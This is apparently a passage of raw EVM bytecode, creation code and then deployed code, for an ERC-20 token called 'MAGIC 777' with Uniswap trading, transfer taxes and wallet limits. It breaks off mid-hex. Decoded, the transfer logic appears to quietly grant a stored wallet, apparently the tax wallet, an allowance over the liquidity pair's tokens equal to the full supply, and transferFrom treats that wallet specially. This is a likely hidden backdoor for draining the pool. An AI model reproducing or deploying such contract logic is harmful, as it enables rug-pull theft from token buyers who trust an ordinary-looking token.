60405280600881526020017f4d41474943373737000000000000000000000000000000000000000000000000815250905090565b5f610f5e610f57610ff0565b84846111ba565b6001905092915050565b60115481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c9061268e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ca9061271c565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ad9190612213565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121f90612a56565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d90612ae4565b60405180910390fd5b5f81116112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf90612b72565b60405180910390fd5b5f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611377575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156113a957506113a860145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611a8d565b5b1561177b575f600e5411156113e3576113e060646113d2600d5485611bac90919063ffffffff16565b611c2390919063ffffffff16565b90505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561148c575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114df575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115d757600f54821115611529576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152090612bda565b60405180910390fd5b6010548261153685610d47565b6115409190612bf8565b1115611581576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157890612c75565b60405180910390fd5b6115bd60646115af600a54600e541161159c576005546115a0565b6008545b85611bac90919063ffffffff16565b611c2390919063ffffffff16565b9050600e5f8154809291906115d190612c93565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561165f57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156116a3576116a06064611692600b54600e541161167f57600654611683565b6009545b85611bac90919063ffffffff16565b611c2390919063ffffffff16565b90505b5f6116ad30610d47565b9050601460159054906101000a900460ff16158015611718575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156117305750601460169054906101000a900460ff165b801561173f5750600c54600e54115b156117795761176161175c8461175784601254611c6c565b611c6c565b611c84565b5f4790505f8111156117775761177647611f03565b5b505b505b5f81111561187a576117d38160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f6b90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118719190612213565b60405180910390a35b6118ca8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611fc890919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061196d6119218284611fc890919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f6b90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a108486611fc890919063ffffffff16565b604051611a1d9190612213565b60405180910390a350505050565b5f838311158290611a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6991906120e2565b60405180910390fd5b505f8385611a809190612cda565b9050809150509392505050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611b97576009600a611aea919061249d565b633b9aca00611af991906124e7565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b60148054906101000a900460ff169050919050565b5f808303611bbc575f9050611c1d565b5f8284611bc991906124e7565b9050828482611bd89190612835565b14611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f90612d7d565b60405180910390fd5b809150505b92915050565b5f611c6483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612011565b905092915050565b5f818311611c7a5782611c7c565b815b905092915050565b6001601460156101000a81548160ff021916908315150217905550611ca847611f03565b601154811115611ee6575f600267ffffffffffffffff811115611cce57611ccd612d9b565b5b604051908082528060200260200182016040528015611cfc5781602001602082028036833780820191505090505b50905030815f81518110611d1357611d12612dc8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611db7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ddb91906127b6565b81600181518110611def57611dee612dc8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e553060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ff7565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611eb7959493929190612eac565b5f604051808303815f87803b158015611ece575f80fd5b505af1158015611ee0573d5f803e3d5ffd5b50505050505b5f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611f67573d5f803e3d5ffd5b5050565b5f808284611f799190612bf8565b905083811015611fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb590612f4e565b60405180910390fd5b8091505092915050565b5f61200983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a2b565b905092915050565b5f8083118290612057576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204e91906120e2565b60405180910390fd5b505f83856120659190612835565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6120b482612072565b6120be818561207c565b93506120ce81856020860161208c565b6120d78161209a565b840191505092915050565b5f6020820190508181035f8301526120fa81846120aa565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61212f82612106565b9050919050565b61213f81612125565b8114612149575f80fd5b50565b5f8135905061215a81612136565b92915050565b5f819050919050565b61217281612160565b811461217c575f80fd5b50565b5f8135905061218d81612169565b92915050565b5f80604083850312156121a9576121a8612102565b5b5f6121b68582860161214c565b92505060206121c78582860161217f565b9150509250929050565b5f8115159050919050565b6121e5816121d1565b82525050565b5f6020820190506121fe5f8301846121dc565b92915050565b61220d81612160565b82525050565b5f6020820190506122265f830184612204565b92915050565b5f805f6060848603121561224357612242612102565b5b5f6122508682870161214c565b93505060206122618682870161214c565b92505060406122728682870161217f565b9150509250925092565b5f60ff82169050919050565b6122918161227c565b82525050565b5f6020820190506122aa5f830184612288565b92915050565b5f602082840312156122c5576122c4612102565b5b5f6122d28482850161214c565b91505092915050565b6122e481612125565b82525050565b5f6020820190506122fd5f8301846122db565b92915050565b5f806040838503121561231957612318612102565b5b5f6123268582860161214c565b92505060206123378582860161214c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156123c35780860481111561239f5761239e612341565b5b60018516156123ae5780820291505b80810290506123bc8561236e565b9450612383565b94509492505050565b5f826123db5760019050612496565b816123e8575f9050612496565b81600181146123fe576002811461240857612437565b6001915050612496565b60ff84111561241a57612419612341565b5b8360020a91508482111561243157612430612341565b5b50612496565b5060208310610133831016604e8410600b841016171561246c5782820a90508381111561246757612466612341565b5b612496565b612479848484600161237a565b925090508184048111156124905761248f612341565b5b81810290505b9392505050565b5f6124a782612160565b91506124b28361227c565b92506124df7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846123cc565b905092915050565b5f6124f182612160565b91506124fc83612160565b925082820261250a81612160565b9150828204841483151761252157612520612341565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61255c60208361207c565b915061256782612528565b602082019050919050565b5f6020820190508181035f83015261258981612550565b9050919050565b7f436f6e74726163742062616c616e6365206d75737420626520677265617465725f8201527f207468616e207a65726f00000000000000000000000000000000000000000000602082015250565b5f6125ea602a8361207c565b91506125f582612590565b604082019050919050565b5f6020820190508181035f830152612617816125de565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61267860248361207c565b91506126838261261e565b604082019050919050565b5f6020820190508181035f8301526126a58161266c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61270660228361207c565b9150612711826126ac565b604082019050919050565b5f6020820190508181035f830152612733816126fa565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61276e60178361207c565b91506127798261273a565b602082019050919050565b5f6020820190508181035f83015261279b81612762565b9050919050565b5f815190506127b081612136565b92915050565b5f602082840312156127cb576127ca612102565b5b5f6127d8848285016127a2565b91505092915050565b5f6040820190506127f45f8301856122db565b61280160208301846122db565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61283f82612160565b915061284a83612160565b92508261285a57612859612808565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f61289161288c61288784612865565b61286e565b612160565b9050919050565b6128a181612877565b82525050565b5f60c0820190506128ba5f8301896122db565b6128c76020830188612204565b6128d46040830187612898565b6128e16060830186612898565b6128ee60808301856122db565b6128fb60a0830184612204565b979650505050505050565b5f8151905061291481612169565b92915050565b5f805f6060848603121561293157612930612102565b5b5f61293e86828701612906565b935050602061294f86828701612906565b925050604061296086828701612906565b9150509250925092565b5f60408201905061297d5f8301856122db565b61298a6020830184612204565b9392505050565b61299a816121d1565b81146129a4575f80fd5b50565b5f815190506129b581612991565b92915050565b5f602082840312156129d0576129cf612102565b5b5f6129dd848285016129a7565b91505092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a4060258361207c565b9150612a4b826129e6565b604082019050919050565b5f6020820190508181035f830152612a6d81612a34565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612ace60238361207c565b9150612ad982612a74565b604082019050919050565b5f6020820190508181035f830152612afb81612ac2565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612b5c60298361207c565b9150612b6782612b02565b604082019050919050565b5f6020820190508181035f830152612b8981612b50565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612bc460198361207c565b9150612bcf82612b90565b602082019050919050565b5f6020820190508181035f830152612bf181612bb8565b9050919050565b5f612c0282612160565b9150612c0d83612160565b9250828201905080821115612c2557612c24612341565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612c5f601a8361207c565b9150612c6a82612c2b565b602082019050919050565b5f6020820190508181035f830152612c8c81612c53565b9050919050565b5f612c9d82612160565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612ccf57612cce612341565b5b600182019050919050565b5f612ce482612160565b9150612cef83612160565b9250828203905081811115612d0757612d06612341565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d6760218361207c565b9150612d7282612d0d565b604082019050919050565b5f6020820190508181035f830152612d9481612d5b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612e2781612125565b82525050565b5f612e388383612e1e565b60208301905092915050565b5f602082019050919050565b5f612e5a82612df5565b612e648185612dff565b9350612e6f83612e0f565b805f5b83811015612e9f578151612e868882612e2d565b9750612e9183612e44565b925050600181019050612e72565b5085935050505092915050565b5f60a082019050612ebf5f830188612204565b612ecc6020830187612898565b8181036040830152612ede8186612e50565b9050612eed60608301856122db565b612efa6080830184612204565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612f38601b8361207c565b9150612f4382612f04565b602082019050919050565b5f6020820190508181035f830152612f6581612f2c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203b0ed367029ca53eadc14d8766990123e320a4d7970834c6d1c7b27d84d5d6b164736f6c634300081a0033

Deployed Bytecode

0x608060405260043610610101575f3560e01c806370a08231116100945780638f9a55c0116100635780638f9a55c0146102fe57806395d89b4114610328578063a9059cbb14610352578063bf474bed1461038e578063dd62ed3e146103b857610108565b806370a0823114610258578063715018a6146102945780637d1db4a5146102aa5780638da5cb5b146102d457610108565b806320800a00116100d057806320800a00146101c657806323b872dd146101dc578063293230b814610218578063313ce5671461022e57610108565b806306fdde031461010c578063095ea7b3146101365780630faee56f1461017257806318160ddd1461019c57610108565b3661010857005b5f80fd5b348015610117575f80fd5b506101206103f4565b60405161012d91906120e2565b60405180910390f35b348015610141575f80fd5b5061015c60048036038101906101579190612193565b610431565b60405161016991906121eb565b60405180910390f35b34801561017d575f80fd5b5061018661044e565b6040516101939190612213565b60405180910390f35b3480156101a7575f80fd5b506101b0610454565b6040516101bd9190612213565b60405180910390f35b3480156101d1575f80fd5b506101da610477565b005b3480156101e7575f80fd5b5061020260048036038101906101fd919061222c565b610598565b60405161020f91906121eb565b60405180910390f35b348015610223575f80fd5b5061022c6107ba565b005b348015610239575f80fd5b50610242610d3f565b60405161024f9190612297565b60405180910390f35b348015610263575f80fd5b5061027e600480360381019061027991906122b0565b610d47565b60405161028b9190612213565b60405180910390f35b34801561029f575f80fd5b506102a8610d8d565b005b3480156102b5575f80fd5b506102be610edb565b6040516102cb9190612213565b60405180910390f35b3480156102df575f80fd5b506102e8610ee1565b6040516102f591906122ea565b60405180910390f35b348015610309575f80fd5b50610312610f08565b60405161031f9190612213565b60405180910390f35b348015610333575f80fd5b5061033c610f0e565b60405161034991906120e2565b60405180910390f35b34801561035d575f80fd5b5061037860048036038101906103739190612193565b610f4b565b60405161038591906121eb565b60405180910390f35b348015610399575f80fd5b506103a2610f68565b6040516103af9190612213565b60405180910390f35b3480156103c3575f80fd5b506103de60048036038101906103d99190612303565b610f6e565b6040516103eb9190612213565b60405180910390f35b60606040518060400160405280600981526020017f4d41474943203737370000000000000000000000000000000000000000000000815250905090565b5f61044461043d610ff0565b8484610ff7565b6001905092915050565b60125481565b5f6009600a610463919061249d565b633b9aca0061047291906124e7565b905090565b61047f610ff0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461050b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050290612572565b60405180910390fd5b5f4790505f8111610551576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054890612600565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610594573d5f803e3d5ffd5b5050565b5f808290506105a88585856111ba565b5f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603610616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060d9061268e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16610635610ff0565b73ffffffffffffffffffffffffffffffffffffffff160361068b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106829061271c565b60405180910390fd5b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106cb610ff0565b73ffffffffffffffffffffffffffffffffffffffff161480156106f057505f80915081145b506107ae856106fd610ff0565b6107a984604051806060016040528060288152602001612f6d6028913960025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610760610ff0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a2b9092919063ffffffff16565b610ff7565b60019150509392505050565b6107c2610ff0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084590612572565b60405180910390fd5b60148054906101000a900460ff161561089c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089390612784565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506109383060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610924919061249d565b633b9aca0061093391906124e7565b610ff7565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c691906127b6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a4c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7091906127b6565b6040518363ffffffff1660e01b8152600401610a8d9291906127e1565b6020604051808303815f875af1158015610aa9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610acd91906127b6565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306064600754610b5930610d47565b610b6391906124e7565b610b6d9190612835565b5f80610b77610ee1565b426040518863ffffffff1660e01b8152600401610b99969594939291906128a7565b60606040518083038185885af1158015610bb5573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610bda919061291a565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c7a92919061296a565b6020604051808303815f875af1158015610c96573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cba91906129bb565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff0219169083151502179055506009600a610cfe919061249d565b633b9aca00610d0d91906124e7565b600f819055506009600a610d21919061249d565b633b9aca00610d3091906124e7565b60108190555043601781905550565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610d95610ff0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1890612572565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600881526020017f4d41474943373737000000000000000000000000000000000000000000000000815250905090565b5f610f5e610f57610ff0565b84846111ba565b6001905092915050565b60115481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c9061268e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ca9061271c565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ad9190612213565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121f90612a56565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d90612ae4565b60405180910390fd5b5f81116112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf90612b72565b60405180910390fd5b5f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611377575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156113a957506113a860145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611a8d565b5b1561177b575f600e5411156113e3576113e060646113d2600d5485611bac90919063ffffffff16565b611c2390919063ffffffff16565b90505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561148c575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114df575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115d757600f54821115611529576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152090612bda565b60405180910390fd5b6010548261153685610d47565b6115409190612bf8565b1115611581576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157890612c75565b60405180910390fd5b6115bd60646115af600a54600e541161159c576005546115a0565b6008545b85611bac90919063ffffffff16565b611c2390919063ffffffff16565b9050600e5f8154809291906115d190612c93565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561165f57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156116a3576116a06064611692600b54600e541161167f57600654611683565b6009545b85611bac90919063ffffffff16565b611c2390919063ffffffff16565b90505b5f6116ad30610d47565b9050601460159054906101000a900460ff16158015611718575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156117305750601460169054906101000a900460ff165b801561173f5750600c54600e54115b156117795761176161175c8461175784601254611c6c565b611c6c565b611c84565b5f4790505f8111156117775761177647611f03565b5b505b505b5f81111561187a576117d38160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f6b90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118719190612213565b60405180910390a35b6118ca8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611fc890919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061196d6119218284611fc890919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f6b90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a108486611fc890919063ffffffff16565b604051611a1d9190612213565b60405180910390a350505050565b5f838311158290611a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6991906120e2565b60405180910390fd5b505f8385611a809190612cda565b9050809150509392505050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611b97576009600a611aea919061249d565b633b9aca00611af991906124e7565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b60148054906101000a900460ff169050919050565b5f808303611bbc575f9050611c1d565b5f8284611bc991906124e7565b9050828482611bd89190612835565b14611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f90612d7d565b60405180910390fd5b809150505b92915050565b5f611c6483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612011565b905092915050565b5f818311611c7a5782611c7c565b815b905092915050565b6001601460156101000a81548160ff021916908315150217905550611ca847611f03565b601154811115611ee6575f600267ffffffffffffffff811115611cce57611ccd612d9b565b5b604051908082528060200260200182016040528015611cfc5781602001602082028036833780820191505090505b50905030815f81518110611d1357611d12612dc8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611db7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ddb91906127b6565b81600181518110611def57611dee612dc8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e553060135f9054906101000a900473ffffffffffffff